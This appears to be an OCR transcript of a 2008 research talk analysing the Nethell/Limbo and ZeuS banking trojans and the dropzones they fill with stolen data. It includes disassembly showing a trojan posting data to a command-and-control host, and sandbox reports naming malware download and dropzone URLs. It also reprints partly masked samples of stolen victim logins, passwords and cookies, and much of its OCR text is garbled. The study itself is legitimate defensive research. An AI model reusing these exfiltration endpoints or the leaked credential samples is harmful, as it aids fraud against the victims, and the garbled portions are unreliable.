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O O O =*=*SpAM***** Message from eBay Member Regarding Item #226841807231 .

o - &= - e
Delete Junk Reply Reply All Forward Print To Do

eBay Member <ebay@message.com>

rrrSPAM***** Message from eBay Member Regarding Item #226841807231
29. November 2008 21:26:05 GMT+01:00

undisclosed-recipients: ;

»’Ba\, sent this message
Y registe 1ame is included to ow this pssage originated from eBay

eBay New Message Recelved from Seller for Item #226841 807231

eBay member pulane has left you a message regarding your tem (#226841807231) on Nov- View the dispute thread
21-2008.

Respond Now

Thank you,
eBay

Details for item number: 226841807231

Item URL: http://cgi.ebay.comiws/eBaylSAP|.dII?Viewltem&item=226841807231
End date: Friday , Nov 21, 2008 18:43:21 PDT

Quantity: 1

Dizpute URL: http://[feedback.ebay.com/ws/eBayISAPI|.dlII?ViewDisputeConsole&Dispute Type=1

Date dispute was opened: Frday , Nov 21, 2008 11:28:49 PD1T




O O O ==*=*SpAM***** Message from eBay Member Regarding Item #226841807231 .

o - &= - i
Delete Junk Reply Reply All Forward Print To Do

eBay Member <ebay@message.com>

rrrSPAM***** Message from eBay Member Regarding Item #226841807231
29. November 2008 21:26:05 GMT+01:00

undisclosed-recipients: ;

eBay sent this message
Your registered name is included to show this pSssage onginated from eBay

eBay New Message Received from Seller for item #226841 807231

eBay member pulane has left you a message regarding your tem (#226841807231) on Nov- View the dispute thread
21-2008.
N Respond Now
Ihank you,

eBay

Details for item number: 226841807231
Item URL: http://cgi.ebay.comiws/eBayISAP|.dII?Viewltem&item=226841807231

End date: Friday , Nov 21, 2008 18:43:21 PDI
Quantity: 1 http://w9dajsb2y32edus.land.ru/by-Brownie-
¥ Wise_W0QQitemZ220269228783QQihZ012QQ

Dizpute URL: ntlo::’."teedoa:‘-\.eoay.celcategowz3 78QstPageNameZWDVWQQrleQﬂ
Date dispute was opened: Friday , Nov 21, 2008 11QcmdZViewltem.html
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Banking Irojans
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***UNCHECKED*** UPS: Your Tracking 4

Junk eply Reply All Forward Print To Do

> . ***UNCHECKED*** UPS: Your Tracking # 224455577283
. December 8, 2008 12:09:22 PM GMT+01:00
. Thorsten Holz

1 Attachment, 64.1 KB Save v Quick Look

Sorry, we were not able to deliver postal package you senton November the 1stin time
because the recipient’'s address is not correct.

Please print out the invoice copy attached and collect the package at our office.

If you do not receive package in ten days you will have to pay 36S per day.

Your UPS

Once upon a spam mail...




Outline

x Banking Trojans
x Nethell / Limbo
x /ZeuS /- Wsnpoem / Zbot
x Other banking trojans
= Empirical data
x Statistical analysis of dropzone data

x Conclusion



Nethell / Limbo

= Browser Helper Object (BHO)

x COM object that is loaded by Internet Explorer
N\HKLM\S OFTWARENWIindows\CurrentVersion
\Explorer\Browser Helper Objects)

» [iles are referenced in \HKLVNSOF TWARE\Classes
\CLSIDNN$CLSIDNnprocServer32

® Popular examples: Acrobat add-in, Google Toolbar, ...

x (Can register to several browser events



Nethell / Limbo

x Drops several files under %Windir%\systema32\
® |m.dat and alog.txt
x BHO with varying name (e.g..gcoma32.dll)

= Analyze with OllyDbg

x Easiest way: Infect IE; attach with Olly and analyze



EEX

C| File View Debugger Plugins DaFixed Options Window Help
- , 1 ma] Al el s - : . \ f 3 . i= |t
i 5109 [ Y ) 96 A D [ (U ) A Y D S YYD D I )

Rddress | Hex dunp Disassembly Conrent Registers (FPU)

1 ES 40R40000 ERX
29981CCs|v EB 27 ECX _
29081CC8| SB4S es MOU EARX, DWORD PTR SS:[EBP+28) EDX 7C9BE4F4 ntdll.KiFastSystemCallRet
22981CCB| 3BCs CHP ERX,.ESI EEX
29981CCD| v aF24 FSoeanca ESP
29931CD3| SBas MOV ECX,DWORD PTR DS: [EAX) EEP
29931CDS| SDSS Fa LEAR EDX,DWORD PTR SS:[EBP-18) ESI
= o S
%@an1c0R|  FFS1 78 EIP ntd!l.KnFastSystenCallRet
28881CDD| SB4S Fa MOU EAX,DWORD PTR SS:[EBP-18) C @ ES 8822 32bit B(FFFFFFFF)
20001CEG| 2D4D E2 LERA ECX,DWORD PTR SS:[EBP-18] P 1 CS @81B 32bit B(FFFFFFFF)
20001CE2 2945 eC MOU DWORD PTR SS: (EEBP+C],EQX A @ S5 @822 32bit B(FFFFFFFF)
20001CEE 2045 eC LEA EAX,DWORD PTR SS:[EBP+C) 2 1 DS 8822 32bit QG(FFFFFFFF)
20081CES =1 PUSH EARX S @ FS 0028 32bit 7FFDFOOG(FFF)
26081CER ES 9ERZ0CG0 T 8 GS 9068 NULL
26081CEF s7 PUSH EDI D@
ggggiggg 23 868?8128 ggg: ;0818?99 RSCII "Ci: WINDOWS 32 Im.d ELE S e LA

2 "CaN \system m.dat"”

20001CF7| 904D D4 LER ECX,DWORD PTR SS: [EBP-2C) EFL eageaz4é (NO,NS,E, BE, NS, PE, GE, LE)
20081CFR 3208 »OR BL,BL ST empty
20881CFC E8 DIEFVOE80 ST1 empty
20881001 8040 D4 LER ECX,DWORD PTR SS: [EBP-2C1] ST2 empty
20081084 C645 FC 83 MOV BYTE FPTR SS:[EEF-41,3 STS empty
20081008 E8 &EET0E00 ST4 empty
289081080 8508 TEST ERX,ERX STS empty
2008108F BF 70600120 MoV EDI, 280166?0 RSCII "nolog™ STE empty 1.0000000002000000000
20981014|v OFS4 SzZ020000 ST7 empty 1.0002002002020000000
2098101R SA4S eF HOU ﬂL BYTE PTR SS:[EEP+F] 3219 ESFPUO
20981010 &R 28 FUSH 8 FST Cond 1 289 Err 88 28
2098101F 2040 C4 LER ECX,DWORD PTR SS: [EBP-3C) FCW 827F Prec HEAR,S3 Hask 111
2eaa1022 8845 C4 Moy BVTE PTR $S:(EBP-3C],AL
20981025| FFI1S F4390120 MSUCPeR. ?_Tidy@?5bas lc_string@DU?Schar_!
20981028 Ce45 FC 24 HOU BVTE PTR SS:(EEFP-4),4
2998102F 7 PUSH
299810389 LER ECX DWORD PTR SS: (EBP-2C)
20081033 ES 40888900
29931038| SBFa MOV ESI,E
2000103R| S5F6 TEST ESI, Eay
2998103C|v 74 4F
2908103E| SD4S C4 LEA EAX,DWORD PTR SS:[EBP-3C)
20981041 SBCE MOV ECX,ESI
20091043| 50 PUSH EAX
20881044 ES @GSE70LGH
20081049 8508 TEST ERX,EARX
2008104B|v 74 1IC
20081040 2B4S (2 MOU EAX, DWORD PTR SS:[EBP-328)
20001056 2508 TEST EAX,EAQX
20001052|+ 75 @5

Rddress

Command

Module C:A\WINDOWSAs

Hex éanc

systemad

29

RJCII
B012EER0
[ e 9912E6A4

sesmsrnnn .. B012EEAC

RN TS D

wnenHfE.

FE6.F96...nB....

?C889S?g

06090120
00002328
7E44048F
7E428E80
FFEFFFFFE

2812EeD4

RETURN to kernel32.7C8089574 from ntdll, ~

USER3Z. TE44048F
USER32. 7TE42EEE0

\nitshrui.dll




J200ea

MOV EAX, DWORD PTR SS: (EBP+8)
CHP ERX,ESI

MOV ECX,DWORD PTR DS: [EAX]
LER EDX, DWORD PTR SS:(EBP-18)
PUSH EDX

PUSH EAX

MOU EAX, DWORD PTR SS:[EBP-18)
LER ECX,DWORD PTR S£S:[EBP-18]
MOU DWORD PTR SS:(EEBP+C),EAQX
LEA EAX,DWORD PTR £S:[EBP+C)

7CI9CE4F4 ntdll.

ntdlil.

ES 8022 32bit
CS G01B 32bit
SS 9822 3201t
DS 8822 32bit

PUSH ERX FS @038 32bit
eo0 GS 9060 NULL
PUSH EDI
1120 232: 59918?99 ASCII "Ci: \WINDOWS \system32~ lm. dat"” AL
} syst Me
LER ECX,DWORD PTR SS:[EBP-2C3 EFL eaagazde (NO,NS
¥OR BL,BL STE empty
eon ST1 empty
LEA ECX,DWORD PTR SS: [EBP-2C) ST2 empty
83 MOU BYTE PTR SS:LEEP-41,3 STS empty
12080 ST4 empty
TEST EAX,EAX STS empty
120 |MOU EDI, 20016070 ASCII "nolog” ST empty 1.0000000
\EODEO ST7 empty 1.0002009
MOU AL,BYTE PTR SS:LEEP+F) 32
PUSH B FST Cond 1 ©
LER ECX,DWORD PTR SS:[EBP-3C) FCW 027F Frec NEAR
MOU BYTE PTR SS:CEEP-3C1,AL , |
32120 MSUCPeR, 7_Tidy@?sbasic_string@DU?Schar_!
24 nog egge PTR SS5:(EEF-4),4
LEA ECX,DWORD PTR SS: (EBP-2C)
Teals
MOU ESI,E
TEST Esi ES!
LEA EAX,DWORD PTR SS:[EBP-3C)
MOU ECX.ESI
PUSH EAX
erats
TEST EAX, EAX
MOU EAX, DWORD PTR SS:[EBP-33)
TEST EAX,EAY
Becl ~ [e012E6A8]| 7C209574| RETURN to kernel32. 7C
4 4 21 -BF B, ... (o, 0012EcA4| oeencEn2
G 02 00 90 90 90 90 00 00 OF 00 99 PD| Tel, v v oesee.
202 00 90 90 90 90 00 00 OF 90 99 D] vuvnnsreroesnns gg}gggﬁg ggégggg}
G 02 00 90 90 90 90 00 00 OF OF B9 D] oo resseesnne



- W W Vv W O WWwe . Www -y w

7COBE4F4

ES @822
CS eoeie
S5 @ez32
DS @ezz2
FS oeze
GS B8ce

LastExrr
2aneazas

empty
empty
empty
empty
empty
empty

ntdll.

ntdll.
32bit
32bit
32bit
32bit
32bit
NJLL

ERROR_
(NO, NS

empty 1.0009809
empty 1.0802002

32

Cond 1 ©
2Z27F Frec NERR

FFF
;ng SUB DMORD PTR SS:(ESP+4),8
PUSH EEP
MOU EBP,ESP
29068 |SUB ESP,8%8
PUSH EBX
PUSH ESI
PUSH EDI
NOP
coo
ca AND DWORD PTR SS:(EBP-2),0
120 MOU EBX, 2001B2R0 RSCII "sendl iman.onssdt.php™
FPUSH EBX
2o JMP to masvort.strlen
120 MOU EDI, 26816206
MOU DWORD PTR SS:[EBP-4],EAX
FUSH EDI
FUSH EBX
18126 MEVCLS . 25 resy
MOU ESI,ERX
DFFFF |LER ERX,DWORD PTR SS: [EBFP-2BC]
SUB ESI,EBX
FUSH ESI
FUSH EEBX
FUSH ERX
191289 MEVUCTT . STXNCDY
4FOFFFIAND BYTE PTR SS:[(EBFP+ESI-28C),0
CFFFF |LER ERX,DWORD PTR SS: [(EBFP-3ES)
120 PUSH 2092163C8 RSCII "hotp:sr
PUSH ERX
2oy JMIP to msvert.strcpy
DFFFF |LER ERX,DWORD PTR SS:(EBP-2BC)
FPUSH ERX
CFFFF |LER ERX,DWORD PTR SS: (EBP-3ES)
PUSH ERX
260 JMP to msvert.strcat
CFFFF |LER EAX,DWORD PTR SS:[(EBP-3E2)
PUSH EDI
PUSH ERX
260 JMP to msvert.strcat
MOU EDI,DWORD PTR SS:[(EBP-4)
SUB EDILESI
LEA EAX,DWORD PTR DS:[EDI-1)
PUSH EAX
29128 |LEA EAX,DWORD PTR DS:[ESI+2061B=2Q1)
PUSH EAX
7FFFF |LEA EAX,DWORD PTR SS:[EBP-892)
RSCII A
4 4 Zﬁ'ﬁ néo.c- :OC@. ggi%ggg
2 02 00 90 90 90 90 90 90 00 00 09 O Tol, .. vevenrnnas 0012EEAQS
eee 08 00 ee 60 00 60 08 000008%................ eelzsmc
2 02 00 90 90 90 90 90 90 00 00 09 O] ceveerrsrrnrnnas

7C209574| RETURN to kernel32.7C
aconceaz
BB12EECH
8e00ee0 1



-y -

"ED129 WININET. InternetConnectA ECX
CHMP ERAX,ESI EDX 7CO9CE4F4 ntdll.
MOU OWORD PTR SS:(EEBP-14),EAX Eg;
PUSH ESI EEF
PUSH ESI ESI
PUSH ESI EDI
1120 |PUSH_20@163C4 RSCIT "SAS™ EIP ntdll
‘7FFFF |LER ECX,DWORD PTR SS:[EBP-822) e
PUSH ESI C @ ES @822 32bit
PUSH ECX P1 CS ©OB1B 32bit
126 PUSH 200162BC RSCII "POST” A8 SS 0822 32bit
FUSH EAX 21 DS 9822 32bit
EG120 WININET.HttpOpenRequesth S @ FS 9038 32bit
CMP ERX,ESI T8 GS 8868 NULL
MOU DUWORD PTR SS: [(EEBP-C],EAX D@
126 FUSH 26818ERC RECII "@91220G8_123759_16£42148"™ S D s
EFFFF |LER EAX,DWORD PTR SS:[EBP-4481 EFL Bapgazee (NO,NS
128 FPUSH 28816C08 RSCII "userid=xs" STE empty
FUSH ERX STl empty
18128 MEVCES .. 2prIntf STZ empty
EFFFF |LER ERX,DWORD PTR SS: [EBF-4<8] STS empty
FUSH ERX ST4 empty
20 JIP to mesvert.strlen STS empty
ROD ESF, 19 STE empty 1.0009809
FUSH ERX STV empty 1.0002002
EFFFF |LER ERX, DWORD PTR £5: [(EBF-4<8] 32
FUSH ERX FST Cond 1 ©
FUSH DWORD PTR SS: [(EBF-18] FClW 227F Frec NERR
FUSH EDI
FUSH DWORD PTR SS:LEBP-C)
"EDL 29 WININET.HttpSendRequestH
MOV OMORD PTR SS:(EBP-4),EAQX
PUSH DWORD PTR SS5: (EBP-C)
"ED129 WININET. InternetCloseHandle
PUSH DWORD PTR SS:(EBP-14)
"B 29 WININET. InternetCloseHandle
PUSH DWORD PTR SS:(EBP-18)
’ED129 HOP WININET. InternetCloseHandle
NOP
NOP
NOP
INC DWORD PTR SS:[(EBP-8)
CMP DWORD PTR SS:[(EBP-4],ES]
‘DFFFF {AND BYTE PTR SS:[EBP-24C),0
R "~ |9012E€RAB| 7C289574| RETURN to kernel32.7C
4 Zﬁ e N R R :«e. .
G 00 00 00 00 90 90 00 90 90 00 00 02| Tol. .. euswssee. gg}ggé‘gg gg?gg%
o ee 00 00 60 00 00 00 ae 00 08 08 m L B B B B B B B B B B N B B eelemc 0mm’
2 00 00 90 90 90 90 90 00 00 90 P9 P ceveerenvrnrnnns




sendliman.cn

+ A htp://sendliman.cn/




USER ADMIN PAGE

- A‘_‘http:/,’sendliman.cn/admin.php

Please, log in:
Login:
Password: |

( LOGIN )
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http://www.sciencecartoonsplus.com
http://www.sciencecartoonsplus.com

Example |

Timestamp:08.07.2008 22:12:25
[http://login.live.com/login.sri?wa=wsignini.0|...]
login=KEYLOGGED:leear2XXX.edu KEYSREAD: Jleear@XXX.edu
[http://login.live.com/login.srf?wa=wsignin1.0l[...]
passwd=KEYLOGGED:Q4uciXX KEYSREEAD:Q4uciXX
[https://login.live.com/ppsecure/post.srf?wa=wsignini.Ol...]
Sign In

PPSX=Pass

PwdPad=lfYouAreReading hisYouHave TooMuchF
login=leear@xXXX.edu

passwd=04uciXX

LoginOptions=2

PPF T=Bzy3u0imy4JP6WmRQISrSb3fwF 7 \WWDxCHfhHEHZ Tg7 4Hzktgk
IP=XXX.181.104.92

ID=08052008_155842_32185906



http://login.live.com/login.srf?wa=wsignin1.0%5B...%5D
http://login.live.com/login.srf?wa=wsignin1.0%5B...%5D
mailto:leear@XXX.edu
mailto:leear@XXX.edu
http://login.live.com/login.srf?wa=wsignin1.0%5B...%5D
http://login.live.com/login.srf?wa=wsignin1.0%5B...%5D
https://login.live.com/ppsecure/post.srf?wa=wsignin1.0%5B...%5D
https://login.live.com/ppsecure/post.srf?wa=wsignin1.0%5B...%5D
mailto:leear@XXX.edu
mailto:leear@XXX.edu

Example |

o PROTECTED STORAGE

Resource; https://ssologon.bankofamerica.com/
Description: AutoComplete Passwords
Jsername: XXXK8p3

Password: KISSXXX

Resource: http:// www.myspace.com/
Description: AutoComplete Passwords
Jsername: cutelaxXxXX@live.com
Password: allexXxXX



https://ssologon.bankofamerica.com
https://ssologon.bankofamerica.com
http://www.myspace.com
http://www.myspace.com
mailto:cutelaXXX@live.com
mailto:cutelaXXX@live.com

Example |l

Timestamp:08.07.2008 18:07:54
kiRl OO K| E QA # kb
http://www.google.com/ig
PREF=ID=a0567315adb4edXX:

B=5:;

‘M=1137730467:

LM=1208466064:

S=4RBtzgEjOVgwHIOWP;
NID=12=IsSRM11gplYNeeFneEaVGt1F5LUF]...]



http://www.google.com/ig
http://www.google.com/ig

ZeuS / Wsnpoem / Zbot

x Creates %Windir%\system32\wsnpoem (version 1)

»  Characteristic files; ntos.exe,; oembios.exe or
twext.exe

x Drops other files (e.g. audio.dll 7 video.dll)

= |njects itself Into various processes

x |nteresting features include form grabber, injection of
arbitrary HITML code, and stealing of certificates



ZeuS / Wsnpoem / Zbot

x Characteristic mutex names, e.g.
x  SYSTEM 64AD0625:
x  SYSTEM 91G38905.

x Complete overview by Frank Boldewin
x “More advanced unpacking - Part [I”

(http://reconstructer.org/papers.html)



http://reconstructer.org/papers.html
http://reconstructer.org/papers.html

Example |

[0739] VERSION: 1289 —====mmmmmmmmm oo

System time: 18.06.2008 03:07:55, GMT: =4.00, LLogin time: 00:05:43

Version: 5.1.2600 SP2, Language: 1033

Process: C:\Program Files\Internet Exploreniexplore.exe

https://onlineservices.wachovia.com/auth/AuthService

Referer:; -

Keys: WWW.Wachovia:Com JUl XXXANCKINAXXMIRIMAXK JUly2XXX

Data:

action=uidLogin

bi=version%3D1%26pm_fpua%3Dmozilla%2F4.0 %28compatible%3B
msie windows nt 5.1%3B .net clr 1.0.3705%3B [...]

requestTimestamp=1213758461593

userid=julXXXmckinXXX

password=july2XXX



https://onlineservices.wachovia.com/auth/AuthService
https://onlineservices.wachovia.com/auth/AuthService
http://www.wachovia.com
http://www.wachovia.com

Example |

[0002] VERSION: 1548

System time: 09.05.2008 09:37:12, GMT: -4.00,
Login time: 00:02:03

Version: 5.1.2600 SP1, LLanguage: 1033
Process: CAWINDOWS\system32\services.exe

Protected Storage:

nttps://login.comcast.net/login = acesharXXX|downdXXX

nttps://my.screenname.aol.com/cqr/login/login.psp =
biglamXX|laxX



https://login.comcast.net/login
https://login.comcast.net/login
https://my.screenname.aol.com/_cqr/login/login.psp
https://my.screenname.aol.com/_cqr/login/login.psp

Example |l

IE Cookies:

Path: google.com /
PREF=ID=d9361e071b3ebeXX:

TM=1214675597:
L M=1214675597:
S=COFeRZ.. ]

Path: yahoo.com /
B=3eju00t46cv1v&b=3&s=au




Other Banking Trojans

= [orpig / Sinowal / Mebroot

x Modifles MBR; presumally: most powerful trojan
x Banker / Bancos

= Many different versions available
x SilentBanker

x Chromelnject (Firefox - not working?)



0’ 0%0%6%0%0%0%0%¢%0%¢%0%0%0%¢%0%c’0%e’e e 0 e’s’s

Fmdlng Dropzones

Automating the extraction process




Example: Banking Irojans

authenticate using , access account using

keylogger

I .
Victim /\/ Attacker

dropzone Victim

|
account number / password ! . stolen credentials
‘ .

Honeypot

.
Webmail




1) Collecting Samples

x Client-side honeypots
= Automatically surf: websites
= \onitor system and watch for drive-by downloads
x Capture-HPG, HoneyClient, phoneyc, ...

® Spam traps

x \Natch for attachments and examine links



2a) CWSandbox Gl

= [00l for behavior-based malware analysis
» [EXxecute sample in-controlled environment
x Observe behavior during runtime (e.g. FS or registry)
x (Generate analysis report in XML format

x Developed by Garsten Willems

= Nttp:/Wwww.cwsandbox.org



http://www.cwsandbox.org
http://www.cwsandbox.org

2b) User simulation

» Not all samples immediately access dropzone

x Hard-coded config

= Only submit data once interesting data is found
= BHOS only start when |E starts up
x \\Ve thus need to emulate behavior of a human

x Surf websites, enter credentials, send mails, ...

x Complete automation would be nice



2b) SImUser SU,

= [ool developed by Markus Engelloerth
x Based on Autolt

(http://www.autoitscript.com/autoit3/index.shtmil)

x 17 behavior templates
x Can be combined in-arbitrary way
= \Will be released under GPL next year

» [Furthermore: Deposit credentials in protected storage


http://www.autoitscript.com/autoit3/index.shtml
http://www.autoitscript.com/autoit3/index.shtml

| < ) *“_ e ‘(C')' \X /l (ﬁ} uhttps://cwsandbox.org/?page=analys:s&format=html&analysisid=7931';4' v ). ([(_:J- ’Coogle

@ l”” VMIALWAR AN A ~EPCOR

File Changes
© Network Activity

DNS Lookup

Host Name IP Address
pc 10.1.3.2
10.1.3.1 10.1.3.1
wpad

diitp.com

diitp.com 92,62,100.90
UWG0.0rg

uwdo.org 195.5.116.240

Opened Estening TCP connection on port: 8054
Opened Estening TCP connection on port: 7930
Connections Opened Estening TCP connection on port: 5481

Download URLs
hitp/195.5.116.240/Mav.exe (uwdo.org)
Data posted to URLs

http://82.62.100.90/imgs/s.php?3=pc_00012ecb&id=1228434691 (dlitp.com)

Outgoing connection to remote server: diitp.com TCP port 80
Outgoing connection to remote server: diitp.com TCP port 80
Outgoing connection to remote server: diitp.com TCP port 80
Outgoing connection to remote server: uwdo.org TCP port 80
Outgoing connection to remote server: diitp.com TCP port 80

>



http://dlltp.com/imgs/

+ @ http://dlitp.com/imgs/




ZeuS

- ""http:,‘/dlltp.comiimgs!in.php

User name:

|
Password: |
|

|
|
Language: | English ¢ |

) Remember login (MD5 cookies)




[0739] VERSION: 1289 ~=---mmmmm oo oo o oo

System time: 18.06.2008 03:07:55, GMT: -4.00, Login time: 00:05:43

Version: 5.1.2600 SP2, Language: 1033

Process: C:\Program Files\Internet Explorer\iexplore.exe

https://onlineservices.wachovia.com/auth/AuthService

Referer: -

Keys: www.wachovia.com JulXXX - meKInXXX minimXxXX july2XXX

Data:

action=uidLogin

bi=version%3D1%26pm_fpua%3Dmozilla%2F4.0 %28compatible%3B
msie windows nt 5.1%3B .net clr 1.0.3705%3B [...]

requestTimestamp=1213758461593

userid=julXXXmckinXXxxX

password=july2XXX



https://onlineservices.wachovia.com/auth/AuthService
https://onlineservices.wachovia.com/auth/AuthService
http://www.wachovia.com
http://www.wachovia.com

3) Monitoring System

= Periodically query the dropzone for new data

x Retrieve for example configuration file, e.q.
http://dlitp.com/imgs/dr334s.1lo

x Store all data and process to extract information


http://dlltp.com/imgs/dr334s.flo
http://dlltp.com/imgs/dr334s.flo

Automation

x Analyzed 2000+ banking trojans with: CWSandlbox
x April - October 2008
x Found 140+ Nethelland 200+ ZeuS dropzones
x For 69 / 4 dropzones we could access all info
x 28 GB Nethelland 5 GB Zeus data
x 164,000 7 9,500 victims



Personal Information

CAUTION

= [Data collected in this study:is:very sensitive

® Personal data from victims, including passwords, surf
history and similar information

= \\e are not In a position to inform the victims

» Collaboration with- AusCERT

= [hey have a notification system in place



Watching them exploiting us




Statistics for Nethell Drops

# Infected R
Dropzone SR Data AS # Country Lifetime
webpin.. 26.150 1.5GB 4837 China 36
counter-... 12.460 1.2 GB 17464 Malaysia 53
(7.221.... 10.394 503 MB 30968 Russia 99

Other 108.122 24.8 GB

lotal 164.058 28.0 GB o1



Distribution of Nethell Victims
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Statistics for ZeuS Victims

OS Version
Windows XP SP2
Windows XP SP0O
Windows XP SP1
Windows 2000 SP 4
Other

# Infected Machines
6.629
1.264
1.146
285
156

%
70,2
13,1
12,1

3,0
1,0



Banking Targets for ZeuS

Bank # Appearances Country
Volks- und
Raiffeisenbanken S ey
OSMP 306 Russia
Santaqder Central 05 S
Hispano
Fiducia 196 Germany

ABN Amro Bank 107 Netherlands
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Underground Prices

Goods and Services Range of Prices
Bank accounts $10 - $1000
Credit cards $0.40 - $20
Full identities $1-9%15
Online auction site $1 - $8
Email passwords $4 - $30

Drop (request or offer)  10% - 50% of drop amount
Proxies $1.50 - $30

Source: Symantec. Global Internet Security Threat Report, April 2008

%
22%
13%

9%
%
5%
5%
5%



Finding Credentials

= [Fach site has specific input fields
= (Generic way. to extract credentials

x Nethell tells us which fields are interesting:

[htto:/71ogin.live.com/login.sit?wa=wsignin1.0/...]
passwd=KEYLOGGED:O04uciXX KEYSREAD:O4uciXX

= Use this info to build site-specific models


http://login.live.com/login.srf?wa=wsignin1.0%5B...%5D
http://login.live.com/login.srf?wa=wsignin1.0%5B...%5D

Finding Credentials

= [Fach site has specific input fields
= (Generic way. to extract credentials

x Nethell tells us which fields are interesting:

[htto:/71ogin.live.com/login.sit?wa=wsignin1.0/...]
passwd=KEYLOGGED:O04uciXX KEYSREAD:O4uciXX

= Use this info to build site-specific models


http://login.live.com/login.srf?wa=wsignin1.0%5B...%5D
http://login.live.com/login.srf?wa=wsignin1.0%5B...%5D

Stolen Banking Credentials

Banking Website # Stolen Credentials
PayPal 2.263
Commonwealth Bank 351
HSBC Holding 579
Bank of America 531
Lloyds Bank 447

lotal 10.775



Luhn Algorithm

x Simple checksum to verify identification numbers
» Credit cards, Canadian social insurance numbers

= “‘mod 107 algorithm that protects against accidential
errors, not designed as crypto hash function



Luhn Algorithm

def check_luhn(digits):
sum = 0
alt = False
for d i1n reversed(digits):
1f alt:
d *=2
1f d > 9:
d -=9
sum += d
alt = not alt
return (sum % 10) ==



Stolen Credit Cards

Credit Card Type # Stolen CCs
Visa 3./64
MasterCard 1.431
American Express 400
Dinners Club 36

Other 45



¢ &+ Blnttp://www.alexa.com/site/ds/top_sitests_mode~global&lang=none

€)Alexa

The Web Information Compam

Webmaster’s Comer Company Help
Lookup Website:

Get a custom 500 Top Sites?
; on e web. § tee with
your stats!
Top Sites

The 20p 500 sit How about a
Million...
Yahoo! "

Glob n
i Personalized content and search options. Chatrooms, free e-ma

s, and pager

X Google 3 1 -
Free Download Enables users 10 search the Web, Usenet, and images. Features ing Kk, Gaching and H O l l d ays
transiation of results, and an

tion 10 ind similar eveloping search |
Updated Dally) technology o
(Updated Daily o y 50 OFF
ads on Alexa.com

Popular Countries

YouTube

YouTube is a way 10 get your videos 10 th Mo matier 1o Upload, tag and share your
videos \‘4‘Dr gwige Ads by Google

The Perfect Storm

A Home Business Primed For Big Suc
Recession Economy

X Windows Live Best Hosting on Sale
Ads by Google Search engine from Microsoft Reviews of the Top Hosting Providers. »
S4 S5month
Targeted Traffic
Your campaign will run Sexy Frauen
nstantly 10,000 visitors . Facebook wanen auf dich, trau dich pazt! Ohne Anmeidung, Kortak!

starting at $9.00 A social utility that connacts people, 10 keep up with friends, upload photos, share links and videos kossenks

Searching & fas! and casy with Google's wob browser
Coyote Point Systems s Download a Top Sites list to
Affordable, Enterprise : \ Y’ , Yyour computer!

grade app. Delivery &

Get the complete list of 10p sites from Alexa, the
Acceleration

number one provider of Web analytics, downloaded
directly 1o your deskiop i s Alexa Data Services
i »+» Download...

Tap ino Alexa’s vast knowledge of the web and

instantly move 10 the head of the class
Alexa site submission? . Microsoft Network (MSN)
100% Automated - A " "

D accea and conta srovida

18 of Alexa Top 50 are portals or webmail provider




Stolen Email Passwords

Portal / Webmail Provider # Stolen Credentials

Windows Live 06.540
Yahoo! 2(.832
mail.ru 17.599
Rambler 9.379
yandex.ru 5.314

lotal 24. 794
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14 of Alexa Top 50 have social component




Stolen Passwords

Social Network # Stolen Credentials
Facebook 14.698
hi5 8.310
nasza-klasa.pl 7.107
odnoklassniki.ru 5.732
Bebo 5.029

lotal 37.483



Economic ASPECtS:
Stolen Credentials per Day
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Economic ASPECtS:
Potential Income per Day
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Protect Yourselt

How to protect your data



Typical Security Measures |

= Patch quickly after a security:upadate is released
» Attack vector is often drive-by: download
= Perhaps even switch to another browser

= [DO not click on suspicious link

= You would not do this in reality...



Typical Security Measures |

=[O not open suspicious mail-attachments
= Even if the mail message sounds promising
= \ore security awareness

= Antivirus software can help to a limited extend



Virustotal. MD5: d351cbclbab730dcbc801bel8balcll?2 ...er.Banker.C Generic PWS.y Trojan.Win32.Agent.agwu
+ ) Inttp://www.virustotal.com/analisis/9dffd5922796a6251bfe02: (55 ~ Q- Google

Suomi | ihMdI | EH=201 | nmay | B438 | Slovenséina | Dansk | Pycckuii | Roméana | Tirkge | Nederlands | EAAnvika |

Francgais | Svenska | Portugués | taliano | 483 | 392 | Magyar | Deutsch | Cesky | Polski | Espafiol

“— VI RU S Virustotal is a service that analyzes suspicious
files and facilitates the quick detection of viruses,

T A L worms, trojans, and all kinds of malware detected
‘ by antivirus engines. More information...

File unknown received on 12.17.2008 05:19:58 (CET)
Current status: finished
Result: 28/38 (73.68%)

@« Compact

Antivirus Version LastUpdate Result
AhnLab-V3 - -
AntiVir

Authentium

BitDefender
CAT-QuickiHeal

"~ s
—doal




Virustotal. MD5: e2eb4104fd854266ba0b75d1206ad6f5 Win32/Spy.Zbot.AA Mal/EncPk-FZ
+ ) Inhttp://www.virustotal.com/analisis/268adf3d0c3cad45352dc @ LES ~ Q- Google

Suomi | ihMdI | EH=201 | nmay | B438 | Slovenséina | Dansk | Pycckuii | Roméana | Tirkge | Nederlands | EAAnvika |

Francais | Svenska | Portugués | taliano | ;

9 VIRUS
A TOTAL

@« Compact

Antivirus
AhnLab-V3
AntiVir

Authentium

BitDefender
CAT-QuickiHeal

"] o
A

sgehr | 393 | Magyar | Deutsch | Cesky | Polski | Espariol

Virustotal is a service that analyzes suspicious
files and facilitates the quick detection of viruses,
worms, trojans, and all kinds of malware detected
by antivirus engines. More information...

File unknown received on 11.13.2008 16:31:17 (CET)
Current status: finished
Result: 2/34 (5.88%)

Version

Last Update




.: CWSandbox - Automated Malware Analysis ::

+ @ https://cwsandbox.org/?page=report&analysisid=875670&passwc® ~ Q- Google

KNG, CYiSandbex

Report
XML (plain) - TXT (plain) - HTML (plain) - Highlevel (plain) - back to sample - PCAP - CAB (browse)

File Changes
© Flle Changes by all processes

CAWINDOWS\system32\ntos .exe
CAWINDOWS\system32\wsnpoemivideo.dll
CAWINDOWS\system32iwsnpoemiaudio.dll
W\pipe\_ SYSTEM__64AD0625_

W\pipe\_ SYSTEM__ 7F4523ES5_
\Device\RasAcd

\Device\Tcpb

\Device\Tcp
\Device\WNetBT_Tcpip_{C3AFEFS5D-BESD-43C2-B658-66E7170D228D}
CAWINDOWS\system32\wsnpoem\audio.dll
CAWINDOWS\Debug\UserMode\userenv.log
CAWINDOWS\system32\wsnpoem\audio.dll




Protecting Bank Accounts

x (German banks have very good security standards
= Mobile TAN is offered by many:banks
x |ndexed TAN can be broken with MitM-attacks
x e have seen these attacks in the wild
x Get mTAN and you should be secure

= [wo-factor authentication also helps in general



Source: http://volksbank-bocholt.de/ebanking/bindata/HandyMobile TAN.jpg



http://volksbank-bocholt.de/ebanking/bindata/HandyMobileTAN.jpg
http://volksbank-bocholt.de/ebanking/bindata/HandyMobileTAN.jpg

Protecting Bank Accounts

x (German banks have very good security standards
= Mobile TAN is offered by many:banks
